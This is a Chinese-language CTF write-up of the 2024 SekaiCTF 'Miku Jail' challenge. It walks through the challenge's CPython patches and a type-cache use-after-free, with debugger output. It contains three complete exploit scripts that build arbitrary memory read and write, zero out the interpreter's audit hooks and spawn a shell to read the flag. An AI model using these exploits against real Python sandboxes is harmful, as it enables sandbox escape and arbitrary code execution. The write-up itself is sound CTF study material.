2024 sekaiCTF Miku Jail wp

这几天做梦都在打断点调试捋逻辑……

misc?pwn!第一次做pyjail

irs & diff

  • hook了audit事件,提到了一个dice的题

  • 但dice那题用的是bytearray的uaf,这题直接把free patch了:)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    diff --git a/Modules/_io/bufferedio.c b/Modules/_io/bufferedio.c
    index e87d04bd07a..c5f940233ba 100644
    --- a/Modules/_io/bufferedio.c
    +++ b/Modules/_io/bufferedio.c
    @@ -416,7 +416,7 @@ buffered_dealloc(buffered *self)
    if (self->weakreflist != NULL)
    PyObject_ClearWeakRefs((PyObject *)self);
    if (self->buffer) {
    - PyMem_Free(self->buffer);
    + //PyMem_Free(self->buffer);
    self->buffer = NULL;
    }
    if (self->lock) {
    @@ -566,7 +566,7 @@ _io__Buffered_close_impl(buffered *self)
    res = PyObject_CallMethodNoArgs(self->raw, &_Py_ID(close));

    if (self->buffer) {
    - PyMem_Free(self->buffer);
    + //PyMem_Free(self->buffer);
    self->buffer = NULL;
    }

    @@ -798,8 +798,8 @@ _buffered_init(buffered *self)
    "buffer size must be strictly positive");
    return -1;
    }
    - if (self->buffer)
    - PyMem_Free(self->buffer);
    + //if (self->buffer)
    + // PyMem_Free(self->buffer);
    self->buffer = PyMem_Malloc(self->buffer_size);
    if (self->buffer == NULL) {
    PyErr_NoMemory();

    像极了打awd的我……

  • 还禁了类型转换,要求类型必须匹配

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    diff --git a/Objects/bytearrayobject.c b/Objects/bytearrayobject.c
    index 07c20ac6316..21d1036e4a9 100644
    --- a/Objects/bytearrayobject.c
    +++ b/Objects/bytearrayobject.c
    @@ -512,6 +512,11 @@ static int
    bytearray_setslice(PyByteArrayObject *self, Py_ssize_t lo, Py_ssize_t hi,
    PyObject *values)
    {
    + if (!PyList_CheckExact(values) && !PyLong_CheckExact(values) && !PyBytes_CheckExact(value
    s))
    + {
    + PyErr_SetString(PyExc_TypeError, "nope");
    + return 0;
    + }
    Py_ssize_t needed;
    void *bytes;
    Py_buffer vbytes;
    @@ -561,6 +566,11 @@ bytearray_setslice(PyByteArrayObject *self, Py_ssize_t lo, Py_ssize_t hi,
    static int
    bytearray_setitem(PyByteArrayObject *self, Py_ssize_t i, PyObject *value)
    {
    + if (!PyLong_CheckExact(value))
    + {
    + PyErr_SetString(PyExc_TypeError, "no");
    + return -1;
    + }
    int ival = -1;

    // GH-91153: We need to do this *before* the size check, in case value has a
    @@ -590,6 +600,16 @@ bytearray_setitem(PyByteArrayObject *self, Py_ssize_t i, PyObject *value)
    static int
    bytearray_ass_subscript(PyByteArrayObject *self, PyObject *index, PyObject *values)
    {
    + if (!PyList_CheckExact(values) && !PyLong_CheckExact(values))
    + {
    + PyErr_SetString(PyExc_TypeError, "nope");
    + return -1;
    + }
    + if (!PyLong_CheckExact(index))
    + {
    + PyErr_SetString(PyExc_TypeError, "nope");
    + return -1;
    + }
    Py_ssize_t start, stop, step, slicelen, needed;
    char *buf, *bytes;
    buf = PyByteArray_AS_STRING(self);
  • 后面一直在想怎么用这个东西,结果其实这个patch的意思是把这玩意ban了o(TヘTo)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    diff --git a/Objects/descrobject.c b/Objects/descrobject.c
    index a6c90e7ac13..36030ad1caa 100644
    --- a/Objects/descrobject.c
    +++ b/Objects/descrobject.c
    @@ -1210,7 +1210,7 @@ mappingproxy_traverse(PyObject *self, visitproc visit, void *arg)
    static PyObject *
    mappingproxy_richcompare(mappingproxyobject *v, PyObject *w, int op)
    {
    - return PyObject_RichCompare(v->mapping, w, op);
    + return PyObject_RichCompare(v, w, op);
    }

一些思维路径~

MappingProxyType

首先,为什么要ban mappingproxy_richcompare,这个mappingproxy是什么东西

  • 首先看一个常见的东西,dict字典

    1
    2
    3
    >>> test_dict = {'test1': 'test1', 'test2': 'test2'}
    >>> type(test_dict)
    <class 'dict'>
  • mappingproxy和dict类似,也可以基于dict创建

    1
    2
    3
    4
    >>> from types import MappingProxyType
    >>> test_mapping = MappingProxyType(test_dict)
    >>> type(test_mapping)
    <class 'mappingproxy'>
  • 但它是只读的,尝试修改会报错

    1
    2
    3
    4
    >>> test_mapping['test1']='test'
    Traceback (most recent call last):
    File "<stdin>", line 1, in <module>
    TypeError: 'mappingproxy' object does not support item assignment
  • 那这个玩意有什么用呢?对象有一个内置属性__dict__,用于存储对象的属性

    • class的实例的__dict__是dict类型的,可以修改

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      >>> class A():
      ... def __init__(self):
      ... self.test1='test1'
      ... self.test2='test2'
      ...
      >>> a = A()
      >>> type(a.__dict__)
      <class 'dict'>
      >>> a.__dict__
      {'test1': 'test1', 'test2': 'test2'}
      >>> a.__dict__['test1']='test111'
      >>> a.test1
      'test111'
    • class本身的__dict__是mappingproxy类型的,不可修改

      1
      2
      3
      4
      5
      6
      7
      8
      >>> type(A.__dict__)
      <class 'mappingproxy'>
      >>> A.__dict__
      mappingproxy({'__module__': '__main__', '__init__': <function A.__init__ at 0x7f25181bc540>, '__dict__': <attribute '__dict__' of 'A' objects>, '__weakref__': <attribute '__weakref__' of 'A' objects>, '__doc__': None})
      >>> A.__dict__['__module__']='test'
      Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
      TypeError: 'mappingproxy' object does not support item assignment

      使用mappingproxy的__dict__可以禁止修改class的属性

  • 有一个issue可以用实例自定义的__eq__方法修改只读的mappingproxy

    1
    2
    3
    4
    5
    6
    7
    8
    # https://bugs.python.org/issue43838
    >>> class Sneaky:
    ... def __eq__(self, other):
    ... other['real'] = 42
    ...
    >>> int.__dict__ == Sneaky()
    >>> (1).real
    42

    mappingproxy的__eq__调用的就是mappingproxy_richcompare函数

    1
    2
    3
    4
    5
    static PyObject *
    mappingproxy_richcompare(mappingproxyobject *v, PyObject *w, int op)
    {
    return PyObject_RichCompare(v->mapping, w, op);
    }
    • mappingproxy_richcompare会直接使用v->mapping继续向下一层比较

      1
      2
      3
      4
      5
      from types import MappingProxyType

      test_dict = {'test1': 'test1', 'test2': 'test2'}
      test_mapping = MappingProxyType(test_dict)
      test_mapping == test_dict

      这里test_mapping基于test_dict创建,那v->mapping就指向test_dict

    • PyObject_RichCompare是PyObject通用的__eq__函数,会继续向下一层层比较

    • 这时候mapping指向的原始对象已经没有了mappingproxy的只读wrap

    • patch不进行mapping的向下比较就会导致一个死循环……

      1
      return PyObject_RichCompare(v, w, op);
    • 但另一个issue里使用__ror__可以达到相同的效果

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      # https://bugs.python.org/issue44596

      >>> class SneakyOr:
      ... def __or__(self, other):
      ... if other is d:
      ... raise RuntimeError("Broke encapsulation")
      ... def __ror__(self, other):
      ... return self.__or__(other)
      ...
      >>> proxy | SneakyOr()
      Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
      File "<stdin>", line 6, in __ror__
      File "<stdin>", line 4, in __or__
      RuntimeError: Broke encapsulation
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      static PyObject *
      mappingproxy_or(PyObject *left, PyObject *right)
      {
      if (PyObject_TypeCheck(left, &PyDictProxy_Type)) {
      left = ((mappingproxyobject*)left)->mapping;
      }
      if (PyObject_TypeCheck(right, &PyDictProxy_Type)) {
      right = ((mappingproxyobject*)right)->mapping;
      }
      return PyNumber_Or(left, right);
      }

非法修改,然后呢?

先过一遍部分exp的执行流程吧

1
2
3
4
5
6
7
8
9
10
11
12
13
def wrap(arg):
return memoryview(arg).cast('P')

def orfn(self, other):
self.a
del other['a']
return wrap(self.a), [0]*10

def rorfn(self, other):
return self.__or__(other)

t = type('', (), {'a': bytearray(0x40), '__ror__': rorfn, '__or__': orfn})
a, b = t.__dict__ | t()

大致流程

  • 新建了一个type t,自带一个bytearray a,还有自实现的__ror__和__or__方法

  • 然后进行一个t.__dict__和t()的or

    • mappingproxyobject的t.__dict__

      v->mapping指向一个PyDictObject

    • t类型的PyObject实例

      PyTypeObject的type t

      可以发现v->mapping和w->ob_base.ob_type->tp_dict指向同一个PyDictObject

  • 经过一次mappingproxy_or,去除了mappingproxy->mapping的wrap,进行一个dict和t()的or

  • 在__or__中获取a,这时候self是type t的PyObject,other是PyDictObject

    这个过程中会将a的ref+1,但由于只是取了a什么都没干,所以之后ref会减回1

  • 之后从other中删除a,这时候other已经是dict了

    并且将a的ref-1,这时候a的ref已经是0了,所以调用bytearray_dealloc将a和a->ob_bytes都free了

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    static void
    bytearray_dealloc(PyByteArrayObject *self)
    {
    if (self->ob_exports > 0) {
    PyErr_SetString(PyExc_SystemError,
    "deallocated bytearray object has exported buffers");
    PyErr_Print();
    }
    if (self->ob_bytes != 0) {
    PyObject_Free(self->ob_bytes);
    }
    Py_TYPE(self)->tp_free((PyObject *)self);
    }
  • 然后又通过self.a(type t的PyObject)获取到了a

……

???啊???

看似没有问题实则全是问题……

  • 首先第二次PyObject_GenericGetAttr就不该获取到a,因为a已经从dict中删除了

    ……看起来确实也是删掉了

  • delitem_common结尾a的ref确实也减到0了,也确实调用dealloc把a free了……

  • 两次PyObject_GenericGetAttr的参数也是一样的

  • 能想到的就是get a是通过type进行的,del a是通过dict进行的

_PyType_Lookup

那就来看看PyObject_GenericGetAttr是怎么获取a的

  • PyObject_GenericGetAttr调用_PyObject_GenericGetAttrWithDict
  • _PyObject_GenericGetAttrWithDict大致流程
    • 调用_PyType_Lookup从type中尝试获取name
    • 尝试从实例中获取name

问题就出在_PyType_Lookup里!!!

_PyType_Lookup的流程

  • 先尝试从type_cache中查找name
  • 找不到则从type->tp_dict(就是dict)查找
  • 将PyObject加入cache

对了,就是这个cache……

  • 第一次self.a的时候会将a放进cache,且不会递增a的ref
  • 第二次self.a的时候直接从cache中取

终于知道第一个没用的self.a是干嘛的了,就是为了把它放进cache

  • 由于dealloc了a但没将a从cache中删掉导致了uaf
  • 理论上来说type是不可写的所以cache放进去就不会再取出来了
  • 但假定的type的不可写被打破了就出问题了

结论:有些过程是基于不可写的假定进行的,这个假定被打破了就出问题了

几种解法

利用memoryview的index的uaf

先贴exp

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# implementation from https://github.com/chilaxan/pysnippets/blob/main/tricky_bugs.py#L51
# but modified to work with current version. Abuses how the `c` format doesn't have a release
# check after running our __index__ func

uaf_backing = bytearray(bytearray.__basicsize__)
uaf_view = memoryview(uaf_backing).cast('c')

class weird_index:
def __index__(self):
uaf_view.release()
self.memory_backing = uaf_backing.clear() or bytearray()
return 0x17

uaf_view[w:=weird_index()] = bytes([0x7f])

mem = w.memory_backing

RUNTIME_OFFSET = 0x654900
A_CONST_OFFSET = 0x65D910

a_addr = int(f"{'a'.__add__}".split("0x")[1][:-1], 16)

python_base = a_addr - A_CONST_OFFSET
py_runtime = python_base + RUNTIME_OFFSET

for i in range(8):
mem[py_runtime + 0xBF0 + 8 + i] = 0

import os
os.execv("/bin/sh", ["sh", "-c", "cat /flag*"])

# EOF

调试分析

  • uaf_backing地址

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    // uaf_backing

    pwndbg> print obj
    $2 = (PyObject *) 0x7f94e2c6ed30
    pwndbg> print *(PyByteArrayObject*)obj
    $3 = {
    ob_base = {
    ob_base = {
    {
    ob_refcnt = 1,
    ob_refcnt_split = {1, 0}
    },
    ob_type = 0x5648e03408c0 <PyByteArray_Type>
    },
    ob_size = 56
    },
    ob_alloc = 57,
    ob_bytes = 0x7f94e2c6f230 "",
    ob_start = 0x7f94e2c6f230 "",
    ob_exports = 0
    }
  • uaf_view地址

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    // uaf_view

    pwndbg> print *(PyMemoryViewObject*)0x7f94e2df9600
    $5 = {
    ob_base = {
    ob_base = {
    {
    ob_refcnt = 1,
    ob_refcnt_split = {1, 0}
    },
    ob_type = 0x5648e03551c0 <PyMemoryView_Type>
    },
    ob_size = 3
    },
    mbuf = 0x7f94e2c7a2c0,
    hash = -1,
    flags = 6,
    exports = 0,
    view = {
    buf = 0x7f94e2c6f230,
    obj = 0x7f94e2c6ed30,
    len = 56,
    itemsize = 1,
    readonly = 0,
    ndim = 1,
    format = 0x5648e00d2041 "B",
    shape = 0x7f94e2df9690,
    strides = 0x7f94e2df9698,
    suboffsets = 0x0,
    internal = 0x0
    },
    weakreflist = 0x0,
    ob_array = {56}
    }
  • clear后的uaf_backing,uaf_view->view.buf已被free

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    // clear

    pwndbg> print *(PyByteArrayObject*)0x7f94e2c6ed30
    $13 = {
    ob_base = {
    ob_base = {
    {
    ob_refcnt = 2,
    ob_refcnt_split = {2, 0}
    },
    ob_type = 0x5648e03408c0 <PyByteArray_Type>
    },
    ob_size = 0
    },
    ob_alloc = 1,
    ob_bytes = 0x7f94e2e24250 "",
    ob_start = 0x7f94e2e24250 "",
    ob_exports = 0
    }
  • 新的PyByteArrayObject,被赋值给了w.memory_backing

    • 和uaf_view->view.buf使用同一块内存
    • 由于bytearray()没有参数所以ob_size为0且不分配ob_bytes
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    // w.memory_backing

    pwndbg> print *(PyByteArrayObject*)0x7f94e2c6f230
    $17 = {
    ob_base = {
    ob_base = {
    {
    ob_refcnt = 1,
    ob_refcnt_split = {1, 0}
    },
    ob_type = 0x5648e03408c0 <PyByteArray_Type>
    },
    ob_size = 0
    },
    ob_alloc = 0,
    ob_bytes = 0x0,
    ob_start = 0x0,
    ob_exports = 0
    }
  • 向原先的uaf_view->view.buf[0x17]中写入0x7f,w.memory_backing的ob_size被修改为极大值

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    // new

    pwndbg> print *(PyByteArrayObject*)0x7f94e2c6f230
    $28 = {
    ob_base = {
    ob_base = {
    {
    ob_refcnt = 1,
    ob_refcnt_split = {1, 0}
    },
    ob_type = 0x5648e03408c0 <PyByteArray_Type>
    },
    ob_size = 9151314442816847872 // 0x7f00000000000000
    },
    ob_alloc = 0,
    ob_bytes = 0x0,
    ob_start = 0x0,
    ob_exports = 0
    }
  • 改_PyRuntime.audit_hooks

利用mappingproxy_or的uaf

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# https://bugs.python.org/issue43838
# https://bugs.python.org/issue44596


def wrap(arg):
return memoryview(arg).cast('P')

def orfn(self, other):
self.a
del other['a']
return wrap(self.a), [0]*10

def rorfn(self, other):
return self.__or__(other)

t = type('', (), {'a': bytearray(0x40), '__ror__': rorfn, '__or__': orfn})
a, b = t.__dict__ | t()

# (PyByteArrayObject *) a->ob_bytes and
# (PyListObject *) b->ob_item now share the same memory

def addrof(obj):
b[0] = obj
return a[0]

def fake_bytearray(addr, size):
m = wrap(bytearray(0x100))
m[0] = 3 # refcnt
m[1] = addrof(bytearray)
m[2] = size
m[5] = addr
x = m.tobytes()
a[0] = addrof(x) + 32

def arb_read(addr):
fake_bytearray(addr, 8)
return wrap(b[0]).tolist().pop()

def arb_write(addr, value):
fake_bytearray(addr, 8)
wrap(b[0])[0] = value

RUNTIME_OFFSET = 0x654900
A_CONST_OFFSET = 0x65D910

python_base = addrof('a') - A_CONST_OFFSET
py_runtime = python_base + RUNTIME_OFFSET
arb_write(py_runtime + 0xBF0 + 8, 0)

import os
os.execv("/bin/sh", ["sh", "-c", "cat /flag*"])

# EOF

调试分析

  • 触发uaf之后

    1
    2
    3
    4
    5
    t = type('', (), {'a': bytearray(0x40), '__ror__': rorfn, '__or__': orfn})
    a, b = t.__dict__ | t()

    # (PyByteArrayObject *) a->ob_bytes and
    # (PyListObject *) b->ob_item now share the same memory
  • addrof

    1
    2
    3
    def addrof(obj):
    b[0] = obj
    return a[0]
  • fake_bytearray

    1
    2
    3
    4
    5
    6
    7
    8
    def fake_bytearray(addr, size):
    m = wrap(bytearray(0x100))
    m[0] = 3 # refcnt
    m[1] = addrof(bytearray)
    m[2] = size
    m[5] = addr
    x = m.tobytes()
    a[0] = addrof(x) + 32

利用partial_repr的index越界

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
# based on chilaxans functools exp
from functools import partial
import sys

length = 119


def make_pair():
# heap grooming
# returns tuple, bytearray pair where array exists directly after end of tuple
fill = bytes((length // 2) * tuple.__itemsize__)
r = range((length // 2) - 5) # do these now so that we need less allocs later
old = [] # store failures to increase memory pressure
t0 = tuple(r)
b0 = bytearray(fill)
t1 = tuple(r)
b1 = bytearray(fill)
t = tuple(r)
b = bytearray(fill)
return t, b


p = partial(id)

bytearray_mem = memoryview(bytearray(bytearray.__basicsize__)).cast("P")
bytearray_mem[0] = 1 # refcount
bytearray_mem[1] = int(f"{bytearray.__call__}".split("0x")[1][:-1], 16) # ob_type
bytearray_mem[2] = (2 ** (tuple.__itemsize__ * 8) - 1) // 2 # ob_size
bytearray_mem = bytearray_mem.tobytes()


class Fake:
__slots__ = ["value"]

def __repr__(self):
raise Exception(memoryview(self.value))


Fake_mem = memoryview(bytearray(Fake.__basicsize__)).cast("P")
Fake_mem[0] = 1 # refcount
Fake_mem[1] = int(f"{Fake.__call__}".split("0x")[1][:-1], 16) # ob_type
Fake_mem[2] = (
int(f"{bytearray_mem.__add__}".split("0x")[1][:-1], 16) + bytes.__basicsize__ - 1
)
Fake_mem = Fake_mem.tobytes()


class WeirdRepr:
def __repr__(self):
global b # otherwise it is freed after function and that causes more problems
t, b = make_pair()
p.__setstate__((id, t, {}, {}))
mem = memoryview(b).cast("P")
for i in range(len(mem)):
mem[i] = (
int(f"{Fake_mem.__add__}".split("0x")[1][:-1], 16)
+ bytes.__basicsize__
- 1
)
return "Wack"


p.__setstate__((id, (WeirdRepr(),) * length, {}, {}))
try:
repr(p)
except Exception as e:
mem = e.args[0]

import sys

RUNTIME_OFFSET = 0x654900
A_CONST_OFFSET = 0x65D910

a_addr = int(f"{'a'.__add__}".split("0x")[1][:-1], 16)

python_base = a_addr - A_CONST_OFFSET
py_runtime = python_base + RUNTIME_OFFSET
ob_idx = py_runtime + 0xBF0 + 8

mem[ob_idx : ob_idx + 8] = bytes([0] * 8)
import os

os.system("cat /flag*.txt")
# EOF

调试分析

  • repr用于返回一个对象的“官方”字符串表示形式,自定义对象可以定义__repr__自定义实现

  • functools.partial可用于包装函数

    1
    2
    3
    4
    5
    6
    from functools import partial

    def fa(a, b, c):
    return a + b + c

    p = partial(fa, 4)
  • partial的repr由partial_repr函数实现,有这么一部分

    1
    2
    3
    4
    5
    6
    7
    8
    assert (PyTuple_Check(pto->args));
    n = PyTuple_GET_SIZE(pto->args);
    for (i = 0; i < n; i++) {
    Py_SETREF(arglist, PyUnicode_FromFormat("%U, %R", arglist,
    PyTuple_GET_ITEM(pto->args, i)));
    if (arglist == NULL)
    goto done;
    }
    • 遍历pto->args元组,获取其中的PyObject
    • PyUnicode_FromFormat会递归调用pto->args[i]的__repr__

如果此时修改pto->args,改为一个更小的元组就会造成index越界

  • 先利用bytearray_mem伪造一个PyByteArrayObject

  • 再利用Fake_mem伪造一个Fake PyObject

    • class Fake的value属性是__slots__的

      1
      2
      3
      4
      5
      class Fake:
      __slots__ = ["value"]

      def __repr__(self):
      raise Exception(memoryview(self.value))
    • 这个属性直接存储在PyObject之后

  • functools.partial的__repr__使用partial_repr实现,__setstate__使用partial_setstate实现

    • 首先将args填满class WeirdRepr,大小为119

      1
      p.__setstate__((id, (WeirdRepr(),) * length, {}, {}))
    • repr(p)时会调用WeirdRepr.__repr__,将args改为大小54的元组

      1
      2
      3
      4
      5
      6
      7
      8
      9
      def make_pair():
      fill = bytes((length // 2) * tuple.__itemsize__)
      r = range((length // 2) - 5)

      # ……

      t = tuple(r)
      b = bytearray(fill)
      return t, b
      • 元组内容为PyLongObject 1 2 3 4……

      • 这个元组之后跟的就是PyByteArrayObject的buf

        这部分内存之后被填满了指向Fake_mem的指针

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        class WeirdRepr:
        def __repr__(self):
        global b
        t, b = make_pair()
        p.__setstate__((id, t, {}, {}))
        mem = memoryview(b).cast("P")
        for i in range(len(mem)):
        mem[i] = (
        int(f"{Fake_mem.__add__}".split("0x")[1][:-1], 16)
        + bytes.__basicsize__
        - 1
        )
        return "Wack"
  • 再回到partial_repr,此时args已被修改,越界对Fake调用__repr__

    1
    2
    3
    4
    5
    class Fake:
    __slots__ = ["value"]

    def __repr__(self):
    raise Exception(memoryview(self.value))

    Fake.value经过伪造指向fake bytearray,通过try expect就获取到了这个ob_size为0x7fffffffffffffff的PyByteArrayObject,可以对内存进行任意读写

    1
    2
    3
    4
    try:
    repr(p)
    except Exception as e:
    mem = e.args[0]

2024 sekaiCTF Miku Jail wp
http://akaieurus.github.io/2024/08/31/sekai2024jailwp/
作者
Eurus
发布于
2024年8月31日
许可协议